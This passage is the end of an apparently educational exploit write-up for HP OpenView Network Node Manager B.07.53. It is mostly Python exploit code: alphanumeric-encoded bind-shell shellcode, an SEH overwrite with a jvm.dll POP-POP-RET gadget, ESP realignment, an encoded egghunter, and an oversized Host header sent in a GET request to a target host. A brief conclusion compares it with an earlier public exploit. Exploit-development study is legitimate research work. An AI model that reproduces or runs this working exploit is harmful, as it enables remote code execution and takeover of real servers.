    encoded_shellcode = ("\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x38\x55\x63\x2d\x55\x38\x55\x63\x2d\x56\x3c"
                         "\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x2e\x30\x31\x2d\x4f\x2e\x30\x31"
                         "\x2d\x4f\x31\x30\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x53\x6c\x3d\x2d\x2d"
                         "\x53\x6c\x3d\x2d\x31\x54\x6c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x52\x2a\x56"
                         "\x5f\x2d\x52\x2a\x56\x5f\x2d\x52\x2b\x58\x60\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x63\x3e\x53\x2b\x2d\x63\x3e\x53\x2b\x2d\x65\x46\x53\x2d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x23\x6b\x20\x55\x2d\x23\x6b\x20\x55\x2d\x25\x6c\x21\x56\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x5f\x35\x32\x73\x2d\x5f\x35\x32\x73\x2d\x60\x37\x33\x73\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x6b\x71\x68\x2d\x63\x6b\x71\x68\x2d\x65\x6d\x72\x69"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x4b\x35\x55\x2d\x28\x4b\x35\x55\x2d\x29"
                         "\x4c\x35\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x44\x32\x52\x2d\x55\x44\x32"
                         "\x52\x2d\x57\x46\x33\x53\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x39\x38\x3c\x2d"
                         "\x60\x39\x38\x3c\x2d\x60\x3e\x39\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x28\x55"
                         "\x63\x27\x2d\x28\x55\x63\x27\x2d\x2a\x56\x63\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x32\x2c\x66\x3e\x2d\x32\x2c\x66\x3e\x2d\x34\x2e\x67\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x37\x38\x38\x38\x2d\x37\x38\x38\x38\x2d\x3c\x39\x3c\x39\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x37\x3c\x38\x3b\x2d\x37\x3c\x38\x3b\x2d\x3c\x41\x39\x3b\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x39\x38\x38\x2d\x38\x39\x38\x38\x2d\x3c\x3d\x39"
                         "\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x68\x54\x3d\x2d\x50\x68\x54\x3d\x2d"
                         "\x50\x69\x56\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x26\x3d\x49\x2d\x55\x26"
                         "\x3d\x49\x2d\x55\x26\x41\x49\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3d\x49\x41\x54"
                         "\x2d\x3d\x49\x41\x54\x2d\x42\x49\x41\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f"
                         "\x55\x32\x68\x2d\x5f\x55\x32\x68\x2d\x60\x57\x34\x68\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
                         "\x2a\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x37\x38\x2d\x32\x4f\x38\x39\x50\x25\x4a\x4d\x4e\x55\x25"
                         "\x35\x32\x31\x2a\x2d\x38\x38\x44\x58\x2d\x38\x38\x44\x58\x2d\x39\x38\x46\x59\x50\x25\x4a\x4d"
                         "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x27\x5e\x37\x2d\x55\x27\x5e\x37\x2d\x56\x28\x60\x39\x50"
                         "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x34\x30\x33\x2d\x32\x34\x30\x33\x2d\x34\x34"
                         "\x32\x35\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x3b\x34\x55\x63\x2d\x3b\x34\x55\x63"
                         "\x2d\x3d\x36\x56\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x23\x32\x2e\x30\x2d\x23"
                         "\x32\x2e\x30\x2d\x23\x33\x2e\x31\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5f\x55\x63"
                         "\x37\x2d\x5f\x55\x63\x37\x2d\x61\x55\x63\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x32\x2d\x5b\x41\x2d\x32\x2d\x5b\x41\x2d\x34\x31\x5d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x55\x55\x63\x37\x2d\x55\x55\x63\x37\x2d\x57\x55\x63\x39\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x32\x6d\x5c\x42\x2d\x32\x6d\x5c\x42\x2d\x34\x6e\x5d\x42\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x33\x55\x63\x37\x2d\x33\x55\x63\x37\x2d\x33\x56\x63\x39"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x69\x61\x42\x2d\x32\x69\x61\x42\x2d\x34"
                         "\x6b\x61\x43\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x4f\x38\x38\x2d\x32\x4f\x38"
                         "\x38\x2d\x32\x51\x39\x38\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4f\x36\x27\x5d\x2d"
                         "\x4f\x36\x27\x5d\x2d\x51\x37\x28\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x23\x32"
                         "\x54\x55\x2d\x23\x32\x54\x55\x2d\x23\x33\x55\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x60\x5f\x55\x63\x2d\x60\x5f\x55\x63\x2d\x61\x60\x55\x63\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x39\x32\x5c\x4f\x2d\x39\x32\x5c\x4f\x2d\x3e\x33\x5d\x51\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x56\x3e\x39\x3e\x2d\x56\x3e\x39\x3e\x2d\x57\x42\x3d\x43\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x52\x37\x39\x5f\x2d\x52\x37\x39\x5f\x2d\x54\x38\x3d"
                         "\x5f\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x63\x31\x2d\x55\x55\x63\x31\x2d"
                         "\x56\x56\x63\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x32\x47\x2a\x31\x2d\x32\x47"
                         "\x2a\x31\x2d\x34\x48\x2b\x32\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x47\x69\x37\x39"
                         "\x2d\x47\x69\x37\x39\x2d\x49\x69\x3c\x3d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x25"
                         "\x54\x55\x55\x2d\x25\x54\x55\x55\x2d\x26\x56\x55\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
                         "\x2a\x2d\x53\x55\x63\x6c\x2d\x53\x55\x63\x6c\x2d\x53\x56\x63\x6e\x50\x25\x4a\x4d\x4e\x55\x25"
                         "\x35\x32\x31\x2a\x2d\x32\x3b\x2d\x48\x2d\x32\x3b\x2d\x48\x2d\x34\x3d\x2e\x49\x50\x25\x4a\x4d"
                         "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2e\x44\x35\x39\x2d\x2e\x44\x35\x39\x2d\x31\x45\x36\x39\x50"
                         "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55\x32\x2d\x2d\x55\x55\x32\x2d\x2d\x56\x55"
                         "\x33\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x36\x32\x44\x44\x2d\x36\x32\x44\x44"
                         "\x2d\x37\x33\x44\x45\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x4f\x5c\x25\x2d\x27"
                         "\x4f\x5c\x25\x2d\x27\x4f\x5c\x27\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x60\x35\x35"
                         "\x37\x2d\x60\x35\x35\x37\x2d\x60\x35\x36\x37\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x37\x37\x39\x55\x2d\x37\x37\x39\x55\x2d\x39\x37\x3c\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x49\x36\x36\x34\x2d\x49\x36\x36\x34\x2d\x4a\x38\x38\x36\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x65\x27\x3d\x49\x2d\x65\x27\x3d\x49\x2d\x66\x27\x41\x49\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x53\x26\x54\x2d\x27\x53\x26\x54\x2d\x27\x55\x28\x56"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x4b\x54\x64\x2d\x38\x4b\x54\x64\x2d\x38"
                         "\x4d\x56\x64\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x51\x3c\x26\x2d\x27\x51\x3c"
                         "\x26\x2d\x27\x51\x3c\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x49\x54\x64\x32\x2d"
                         "\x49\x54\x64\x32\x2d\x4a\x56\x64\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x37"
                         "\x26\x37\x2d\x5e\x37\x26\x37\x2d\x60\x38\x28\x39\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x41\x2b\x49\x2e\x2d\x41\x2b\x49\x2e\x2d\x43\x2c\x49\x2e\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x58\x53\x2b\x57\x2d\x58\x53\x2b\x57\x2d\x5a\x55\x2c\x59\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x68\x42\x5f\x2c\x2d\x68\x42\x5f\x2c\x2d\x69\x42\x61\x31\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x6a\x65\x50\x54\x2d\x6a\x65\x50\x54\x2d\x6b\x65\x51"
                         "\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x63\x44\x55\x70\x2d\x63\x44\x55\x70\x2d"
                         "\x64\x45\x56\x72\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x43\x26\x54\x2d\x27\x43"
                         "\x26\x54\x2d\x27\x45\x28\x56\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4d\x5e\x41\x3c"
                         "\x2d\x4d\x5e\x41\x3c\x2d\x4e\x60\x42\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55"
                         "\x64\x26\x3c\x2d\x55\x64\x26\x3c\x2d\x55\x64\x27\x3e\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31"
                         "\x2a\x2d\x39\x26\x37\x4a\x2d\x39\x26\x37\x4a\x2d\x3d\x28\x38\x4b\x50\x25\x4a\x4d\x4e\x55\x25"
                         "\x35\x32\x31\x2a\x2d\x5f\x3c\x54\x64\x2d\x5f\x3c\x54\x64\x2d\x5f\x3e\x56\x66\x50\x25\x4a\x4d"
                         "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x3b\x4f\x2d\x2d\x27\x3b\x4f\x2d\x2d\x27\x3d\x50\x2d\x50"
                         "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x50\x26\x3c\x41\x2d\x50\x26\x3c\x41\x2d\x50\x28"
                         "\x3d\x41\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x38\x26\x39\x2d\x39\x38\x26\x39"
                         "\x2d\x3c\x38\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x68\x5e\x59\x2d\x55"
                         "\x68\x5e\x59\x2d\x55\x68\x60\x5a\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4a\x6a\x65"
                         "\x50\x2d\x4a\x6a\x65\x50\x2d\x4c\x6a\x65\x51\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d"
                         "\x35\x2b\x54\x46\x2d\x35\x2b\x54\x46\x2d\x35\x2d\x55\x47\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32"
                         "\x31\x2a\x2d\x45\x55\x70\x3e\x2d\x45\x55\x70\x3e\x2d\x45\x56\x72\x46\x50\x25\x4a\x4d\x4e\x55"
                         "\x25\x35\x32\x31\x2a\x2d\x50\x6d\x3c\x48\x2d\x50\x6d\x3c\x48\x2d\x51\x6e\x3c\x49\x50\x25\x4a"
                         "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x4e\x26\x2e\x47\x2d\x4e\x26\x2e\x47\x2d\x50\x28\x31\x49"
                         "\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x39\x51\x26\x39\x2d\x39\x51\x26\x39\x2d\x3c"
                         "\x51\x28\x3b\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x27\x39\x45\x26\x2d\x27\x39\x45"
                         "\x26\x2d\x27\x3d\x45\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5e\x44\x6a\x33\x2d"
                         "\x5e\x44\x6a\x33\x2d\x5f\x45\x6b\x34\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x55\x55"
                         "\x35\x27\x2d\x55\x55\x35\x27\x2d\x56\x55\x35\x28\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a"
                         "\x2d\x56\x5c\x29\x55\x2d\x56\x5c\x29\x55\x2d\x58\x5e\x2a\x55\x50\x25\x4a\x4d\x4e\x55\x25\x35"
                         "\x32\x31\x2a\x2d\x58\x59\x47\x63\x2d\x58\x59\x47\x63\x2d\x59\x59\x47\x65\x50\x25\x4a\x4d\x4e"
                         "\x55\x25\x35\x32\x31\x2a\x2d\x54\x55\x55\x55\x2d\x54\x55\x55\x55\x2d\x54\x55\x55\x55\x50\x25"
                         "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x38\x44\x64\x6b\x2d\x38\x44\x64\x6b\x2d\x38\x46\x65"
                         "\x6d\x50\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x29\x5b\x4f\x39\x2d\x29\x5b\x4f\x39\x2d"
                         "\x2b\x5d\x50\x39\x50")

    initial_buff = egg_marker + esp_setup_shellcode + encoded_shellcode + "A" * (
            len(initial_buff) - len(egg_marker) - len(esp_setup_shellcode) - len(encoded_shellcode))

    # 1035FE34   48               DEC EAX
    # 1035FE35   48               DEC EAX
    # 1035FE36   77 04            JA SHORT 1035FE59
    # little endian format: "\x4c\x4c\x77\x04"  ==> bad char friendly
    nseh = "\x48\x48\x77\x04"

    # 0x6d6e394a : pop ecx # pop ecx # ret 0x08 | asciiprint,ascii,alphanum {PAGE_EXECUTE_READ} [jvm.dll] ASLR:
    # False, Rebase: False, SafeSEH: False, OS: False, v5.0.140.3 (C:\Program Files\HP
    # OpenView\jre\jreActive\bin\client\jvm.dll)
    seh = (0x6d6e394a.to_bytes(4, 'little')).decode('ISO-8859-1')

    # setting up ESP dynamically to bypassing ASLR protection
    # 2216FDF0   58               POP EAX
    # 2216FDF8   66:05 2C01       ADD AX,12C
    # 2216FDF6   50               PUSH EAX
    # 2216FDF7   5C               POP ESP

    esp_setup = "\x58\x66\x05\x2c\x01\x50\x5c"

    # !mona encode ascii -t alphanum -b '\x00\x0a\x0d\x2f\x3a\x3f\x40\x80..\xff' -s
    # 6681CAFF0F42526A0258CD2E3C055A74EFB8543030578BFAAF75EAAF75E7FFE7
    encoded_egghunter = (
        "\x25\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x2d\x5d\x55\x5d\x2d\x2d\x5d\x55\x5d\x2d\x31\x5e\x55\x5d\x50\x25"
        "\x4a\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x70\x2c\x5c\x6f\x2d\x70\x2c\x5c\x6f\x2d\x71\x31\x5d\x71\x50\x25\x4a"
        "\x4d\x4e\x55\x25\x35\x32\x31\x2a\x2d\x45\x38\x26\x57\x2d\x45\x38\x26\x57\x2d\x46\x38\x28\x57\x50\x25\x4a\x4d"
        "\x4e\x55\x25\x35\x32\x31\x2a\x2d\x5b\x6c\x37\x45\x2d\x5b\x6c\x37\x45\x2d\x5b\x6e\x3c\x45\x50\x25\x4a\x4d\x4e"
        "\x55\x25\x35\x32\x31\x2a\x2d\x41\x53\x37\x2d\x2d\x41\x53\x37\x2d\x2d\x42\x54\x37\x31\x50\x25\x4a\x4d\x4e\x55"
        "\x25\x35\x32\x31\x2a\x2d\x54\x37\x66\x45\x2d\x54\x37\x66\x45\x2d\x56\x39\x66\x46\x50\x25\x4a\x4d\x4e\x55\x25"
        "\x35\x32\x31\x2a\x2d\x50\x3e\x39\x31\x2d\x50\x3e\x39\x31\x2d\x51\x41\x3b\x33\x50\x25\x4a\x4d\x4e\x55\x25\x35"
        "\x32\x31\x2a\x2d\x33\x2a\x67\x55\x2d\x33\x2a\x67\x55\x2d\x34\x2a\x67\x55\x50")

    # replaced the "D" buffer with "A" buffer to protect from ESP corruption because D will be interpreted as INC ESP
    buff_last = "A" * (
            total_len_buff - len(initial_buff) - len(nseh) - len(seh) - len(esp_setup) - len(encoded_egghunter))

    crash = initial_buff + nseh + seh + esp_setup + encoded_egghunter + buff_last

    # preparing the GET request
    buffer = "GET /topology/homeBaseView HTTP/1.1\r\n"
    buffer += "Host: " + crash + "\r\n"
    buffer += "Content-Type: application/x-www-form-urlencoded\r\n"
    buffer += "User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_03\r\n"
    buffer += "Content-Length: 1048580\r\n\r\n"

    print(f"[+] sending evil GET HTTP request to HP NNM -B.07.53, hosted on {HOST}:{PORT}")
    print(f"[+] sent buffer length: {len(crash)}")
    exploit = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    exploit.connect((HOST, int(PORT)))
    exploit.send(buffer.encode())
    exploit.close()


if __name__ == "__main__":
    main()

shell_bind_tcp

If windows firewall is enabled, add the ovas.exe into the program’s exceptions`. Otherwise, during the script execution, the payload does not get executed due to an exception.

Conclusion

At the end of my journey, I found my final exploit code was turned out entirely different from muts EDB-ID #5342. The reason was, B.07.53 release validates the length of GET request, which restricted me from delivering the payload the way muts did.

References

  • DEFCON #16: BackTrack Foo - From bug to 0day by Mati Aharoni DEFCON #16 talk on YouTube